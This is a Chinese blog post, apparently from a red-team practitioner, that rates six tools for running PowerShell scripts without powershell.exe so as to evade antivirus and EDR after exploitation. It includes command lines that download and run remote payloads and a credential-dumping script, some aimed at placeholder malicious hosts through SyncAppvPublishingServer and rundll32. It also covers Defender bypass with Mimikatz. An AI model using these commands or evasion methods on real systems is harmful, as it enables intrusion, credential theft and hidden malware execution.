.exe已停止工作_渗透测试之无 PowerShell.exe 运行 PowerShell 脚本的几种方法

5c4fc4e36c03ea57dce8fc96c5da74c3.png

本文将概述在不使用 powershell.exe 的情况下运行 powershell 脚本和命令的最佳工具。

在过去的几个月里,我通过观察攻击者以及随之而来的杀毒软件的移动情况后,我打算写这篇文章给所有的渗透测试人员和红队成员,他们正在寻找在后漏洞利用阶段使用 PowerShell 脚本或命令行的最佳技术,而不需要运行 PowerShell.exe,从而避免被下一代杀毒软件、 EDR 或蓝队或威胁追踪团队捕获。

在网上,我花了一些时间尝试和分析适合这个目的的不同工具。 对于每一个工具,我都给出了我个人的评分。 请让我知道你的想法以及你的经验或其他与文本提到的类似的工具。 下面是本文中测试的工具列表:

· PowerLine→ 得分: 9

· NPS — Not PowerShell→ 得分: 4

· PowerShdll→ 得分: 7

· PowerLessShell→ 得分: 5

· Nopowershell→ 得分: 6

· SyncAppvPublishingServer→ 得分: 7

工具分析

PowerLine

Brian Fehrman (@fullmetalcache)创建的非常好的实用程序,可以直接调用 PowerShell 脚本而不需要调用 PowerShell 程序。 这个工具是用 C# 编写的,可以完全通过命令行使用,包括远程使用。 简而言之,你可以使用已经存在的 PowerShell 脚本,而无需使用 PowerShell.exe。 PowerLine 的主要特点有:

· 易于部署和构建——不需要 Visual Studio

· 能够自动检测 Win7或 Win10系统

· 能够作为 PowerShell 终端使用

· 能够通过 XML 设置指定要包含的远程脚本(脚本保留在内存中)

· 能够在每次构建中生成并用于异或(XOR) 脚本的随机字节

下面是使用详情:

一旦在计算机上实现了远程代码执行,获得一个令人满意的后漏洞利用是非常重要的。 运行一系列 PowerShell 工具来促进这项工作是很有意思的,比如: Meterpreter、 Mimikatz、 PowerView、 PowerUp、 Inveigh 等等。

为了方便起见,下面的截图是我从 PowerShell 中截取的。 同样的命令可以直接从 CMD 启动,从而完全避免在首次编译阶段也使用 PS。

部署

部署非常简单且模块化。 要拥有一个功能版本的 PowerLine,必须遵循以下步骤:

· 下载代码储存库:https://github.com/fullmetalcache/PowerLine

· 运行 build.bat 文件

e46b9bf75cea70f2af6c49c92132a235.png

build.bat 运行后的输出内容

· 更新 UserConf.xml 使其包含你想要包含的脚本的 URL

0622875d58aca3664622cab211f56689.png

包含自定义的 Mimikatz ps1 脚本的 UserConf.xml 文件

· 运行 PLBuilder.exe 文件

237e9942ae3d27deebc339ed55ad151d.png

· 现在 PowerLine.exe就会创建程序,并包含你指定的所有脚本,这些脚本会经过嵌入、 xor 编码、 base64编码处理。

执行:

如果所有部署步骤都成功,则应该将 PowerLine.exe 可执行文件发送给受害者。 可以使用 certutil 从远程主机获取可执行文件。 如果你直接在受害者机器上下载原始 Github 代码库,你可以使用本地 PowerLine.exe 文件。 下面是示例用法:

daf32d2e52d1020d7af66c77c17ced9f.png

显示所有已导入的脚本

a6d133c20614b29d00130507b9ec9219.png

通过 PowerLine.exe 调用 PowerUp 工具

目前,这个工具在编译阶段能够绕过更新到最新版本 1903 的 Windows 10 中的 Windows Defender。 显然,根据正在加载的脚本,这个方法有可能逃避防病毒检测。 以 Mimikatz 为例,由于我加载了一个基本版本,所以会被 Windows Defender 阻止掉,但是对于其他常见的恶意脚本,则可以成功绕过。 例如,导入 WCMDump Ps1 脚本,就可以在不使用 Powershell.exe 的情况下绕过 Windows Defender ,从而运行脚本:

没有 PowerLine 的标准恶意命令行:

dc6a587b1f83b2d4201c718848cc48d4.png

尝试下载并在内存中执行脚本

9e240dd951d9ec4325eb1de0fd890f72.png

将脚本下载到本地并运行,但 Defender 会阻止脚本运行

d4586306c6f4a18654e38e16ea88e94d.png

来自 Windows Defender 的检测提示

使用 PowerLine 绕过 Windows Defender:

95e6f201361db294c28dfb2fc93a3e78.png

该脚本被正确导入并在不触发杀软的情况下运行

考虑因素:

PowerLine 看起来似乎是一个很好的工具,可以绕过杀软 和 EDR,后者实际上会过度控制 PowerShell 启动的恶意命令行。 在 Windows 进程树中,命令行由 PowerLine.exe 进程执行。 显然,这个工具和相关检测依赖于加载的脚本。 如果 AV 或 EDR 检查脚本的行为,而不是启动脚本的进程,那么对于蓝队来说可能会有额外的检测。这个工具的一个缺点是,每次你想加载一个新的脚本时,你必须把它添加到配置文件中,这可能会减缓后漏洞利用活动,但这取决于你在渗透测试活动中有多少时间。 你还可以在启动攻击之前创建一个自定义版本,其中包含你需要的所有脚本。简而言之,PowerLine对于后漏洞利用中的规避是非常有用的,但是它的扩展性和速度都不是很快。这个工具绕过反病毒检测的真正附加值是脚本编码。

得分: 9票

官方链接: Github Repo . Video . Slides

NPS —— Not PowerShell

这个工具的所有版本目前都可以被标准的 Windows Defender 检测到,因此我们把它放到了顶级工具列表中。 因为我们知道有很多红队成员有很强的抑制或绕过杀毒的能力,所以我们尝试使用同样的工具,但是至少在下载阶段就会被 Windows Defender 阻止掉。 显然,总是有可能下载完整的代码库,并编译自己的自定义版本,可能不会被 AV 检测到。

下面是使用命令:

cmdline:
 nps.exe "{powershell single command}"
 nps.exe "& {commands; semi-colon; separated}"
 nps.exe -encodedcommand {base64_encoded_command}
 nps.exe -encode "commands to encode to base64"
 nps.exe -decode {base64_encoded_command}

我尝试编码一个恶意的脚本并运行。 很明显,这是因为 Windows Defender 没有运行。 一旦你重新激活 Windows Defender,它会立即检测出可执行文件是恶意的并将其消除。 查看 Windows 进程树可以注意到,启动 powershell 命令的唯一进程总是 nps.exe,而 powershell 可执行文件从未被调用,但它们的检测率是相同的。

考虑因素:

这个工具可以在特别不安全的环境中考虑使用,在这种环境中,红队希望较少的留下恶意的“ powershell”命令行的痕迹。 在所有其他情况下,使用这个工具会被杀软检测到,所以你的努力将是无用的。

得分: 4票

链接: https://github.com/Ben0xA/nps

PowerShdll

此工具只允许使用 dll 运行 PowerShell。这个工具之所以不需要访问 powershell.exe,是因为它使用 powershell 自动化 dll。 可以使用以下命令运行 PowerShdll: rundll32.exe、 installutil.exe、 regsvcs.exe、 regasm.exe、 regsvr32.exe 或作为独立的可执行文件运行。

用法示例:

Rundll32 Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h Display this message
rundll32 PowerShdll,main -f <path> Run the script passed as argument
rundll32 PowerShdll,main -w Start an interactive console in a new window
rundll32 PowerShdll,main -i Start an interactive console in this consoleExe Usage:
PowerShdll.exe <script>
PowerShdll.exe -h Display this message
PowerShdll.exe -f <path> Run the script passed as argument
PowerShdll.exe -i Start an interactive console in this consoleRun base64 encoded script:
rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iexDownload and run script
rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;

真实场景中 exe 的使用示例:

80da89275ca48fc44ea45eb02a2ee3f2.png

运行标准 Mimikatz 工具或者其他凭证转储工具,如 WCMDump,Windows Defender 可以阻止这两种情况下的恶意行为(exe 和 dll 使用)。 我也尝试过先下载 ps1,但是在这种情况下,Windows Defender 有这些脚本的签名,所以它会像阻止恶意的 ps1 脚本的标准下载行为一样删除这些脚本。

3ec7caf66430bb8938c04906e235f23e.png

14862d83e9eff306094814dcd8527e26.png

78a0c038c466129bb24b1b8504445f4d.png

注意: 当你打开交互式控制台时,你可以输入的最大字符数并不多。 例如,如果你需要启动一个非常长的编码命令或者一行反向 shell 命令,那么使用这个工具是不可能的完成的:

57d8651da99ddb99e3d0b54eda1c03de.png

考虑因素:

这个工具有一些有趣的特性,可以直接与 rundll32一起使用,这样可以避免某些杀软的检测,并避免使用已知哈希编译可执行文件。 标准的恶意行为会被检测到,但是删除和执行行为在 Windows Defender 中不会被检测到,这就把我们带到了下一个阶段… 这个阶段允许我们运行脚本而不需要调用 powershell.exe。 这正是我们需要的。 在红队的渗透测试中,直观和简单可能是一个最佳的解决方案,但恶意行为仍然是由反病毒软件检测。

得分: 7票

链接: https://github.com/p3nt4/PowerShdll

PowerLessShell

PowerLessShell 依靠 MSBuild.exe 远程执行 PowerShell 脚本和命令,而无需生成 PowerShell.exe。 你也可以使用相同的方法执行原始 shell 代码。

如果你试图通过 PowerLessShell 运行 WMCDump ps1脚本,这会被 Windows Defender 阻止。 以下是所有的细节:

25d7040ec95af1483778791d265231ba.png

Kali 中用于创建有效载荷代码的 PowerLessShell

9907853eb6e0bfcf081024d403183706.png

生成的恶意有效载荷的代码执行

对于一个简单的反向 shell 也是如此:

c493daa0f14a590e786cabaf536495bd.png

试着打开一个反向 shell

考虑因素:

目前这个工具不方便使用,因为所有有效载荷必须在攻击者的机器上创建和复制,甚至最简单的有效载荷都会被检测到。 这意味着没有真正的代码混淆或规避方法。 即使不是 PowerShell 直接运行的恶意 脚本也会被 Windows Defender 阻止。 此外,生成的 .bat 文件在运行阶段经常失败。

得分: 5票

链接: https://github.com/Mr-Un1k0d3r/PowerLessShell

Nopowershell

Nopowershell 是用 C# 实现的工具,它支持执行类似于 PowerShell 的命令,同时对于任何 PowerShell 日志机制都不会产生日志。 使用 NoPowerShell 的理由如下:

· 执行过程相当隐秘

· 强大的功能

· 支持你在 PowerShell 中已经熟悉的 cmdlet,因此无需再学习其他工具

· 如果你对 PowerShell 不是很熟悉,你也可以使用 cmd.exe 别名 (例如: ping 取代 Test-NetConnection)

· powerpick 或 powershell cmdlet在 nps 中不可以使用。 (例如:来活动目录模块的 cmdlet)

· 只需要几行 C# 就可以很容易地扩展

支持的命令:

9c6406a3b9f4585af77691da31711449.png

下面是对可执行文件的一些测试:

8f168a232755651506c1dfdb0c736b07.png

下面是一些通过 dll 运行 NoPowerShell 的测试:

5d5d1f42c97e9c03bffa122c29e6172f.png

交互式控制台也存在 PowerShdll 的相同问题。 目前输入的字符长度限制在 120 个字符。 这个工具与 PowerShdll 几乎完全相同。 它具有嵌入的特性,允许你轻松地启动命令,而无需详细了解所有 PowerShell 函数。 但是,它似乎不能像 PowerShdll 那样直接从命令行运行 ps1脚本。

考虑因素:

这个工具的注意事项与 PowerShdll 的注意事项类似。对于启动 powershell 命令,而不产生 powershell 进程来说非常有用,从而可以避免被 EDR 或威胁追踪识别到。 该工具的功能是直观且快速的。 在安全评估中使用起来很顺手,只需要花费很少的时间,而且没有恶意命令运行。 有限的功能和命令列表使它比其他工具的得分要少。

得分: 6票

链接: https://github.com/bitsadmin/nopowershell

SyncAppvPublishingServer

Sync-appvpublishingservercmdlet 在当前用户的上 Sync-AppvPublishingServer cmdlet 用于启动微软应用程序虚拟化发布刷新操作(App-V)。这个工具在 Windows 上有两个版本:

· executable .exe → SyncAppvPublishingServer.exe

· VBScript → SyncAppvPublishingServer.vbs

这两个工具都可以在 Windows 10中的“ C:WindowsSystem32”路径中找到,并且都是由微软签名的。

9551eea055ee296d0e4e4ce0bf9b0efa.png

下面是一些测试命令行:

C:WindowsSystem32SyncAppvPublishingServer.vbs "Break; Start-Process Calc.exe ”
C:WindowsSystem32SyncAppvPublishingServer.vbs "Break; iwr http://172.16.217.130:443"
C:WindowsSystem32SyncAppvPublishingServer.vbs; Start-Process calc
C:WindowsSystem32SyncAppvPublishingServer.vbs "Break; Start-Process cmd.exe '/c notepad.exe'"
C:WindowsSystem32SyncAppvPublishingServer.exe " Break; (New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1','$env:USERPROFILE/1.ps1'); Start-Process '$env:USERPROFILE/1.ps1' -WindowStyle Minimized;"
SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1') | IEX"
C:WindowsSystem32SyncAppvPublishingServer.exe " Break; (New-Object System.Net.WebClient).DownloadFile('[MaliciousDomain]/Win.exe','$env:USERPROFILE/payload.exe'); Start-Process '$env:USERPROFILE/payload.exe' -WindowStyle Minimized;"
SyncAppvPublishingServer.vbs "n; ((New-Object Net.WebClient) .DownloadString ('http://malciousdomain/payload.ps1') | IEX '

Windows Defender 能够像检测 Powershell 一样从这些文件中检测出恶意命令行。 此外,当我试图运行一行启动反向 Shell 的,命令时, Windows Defender 可以检测到命令注入到 SyncApp 文件中。

2eef9c1ee7cb5317f53c39fdc12473fa.png

d5effeb4cae2aac66c1522e903361c23.png

考虑因素:

这个工具支持命令行运行程序或字符串,但所有产生内部程序输出的内容,如 ipconfig 或 whoami,在 cli 中没有回显,因此很难通过这个工具执行侦察阶段需要的 powershell 命令。 相反,如果你有一个恶意的 .ps1 脚本已经准备好在受害者机器上运行,比如在第一或第二阶段需要运行各种拥有恶意 powershell 脚本的银行木马时则会很有用。 在这种情况下,你可以避免在 EDR 进程树中或入侵检测中因为使用 Powershell 而被检测的。 然而,这个工具仍然像 Powershell 一样受到杀软的严密监控。

得分: 7票

链接: Microsoft . Ired.team . Detailed_blog . Twitter . Poc_video

结论

通过分析我能找到的所有开源工具,我可以说目前最好的的工具是 PowerLine,我的个人评分是9或者10。 这个工具使用起来有点复杂,但是只要有良好的准备和正确的脚本,就可以绕过反病毒程序的检测,静默地执行各种后漏洞利用的步骤。 然而,根据特定的需求,你也可以使用其他更快速和用户友好的工具。 如果你需要在不使用 Powershell.exe 的情况下启动合法的侦察命令行,这些工具非常有用。 到目前为止,我还没有为我的红队找到完美的工具。 每个工具都有自己的长处和短处。

参考资料:

https://www.slideshare.net/dafthack/red-team-apocalypse-rvasec-edition

https://www.slideshare.net/dafthack/pwning-the-enterprise-with-powershell

https://www.slideshare.net/rahmatnf8/offensivepowershell-cheat-sheet

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值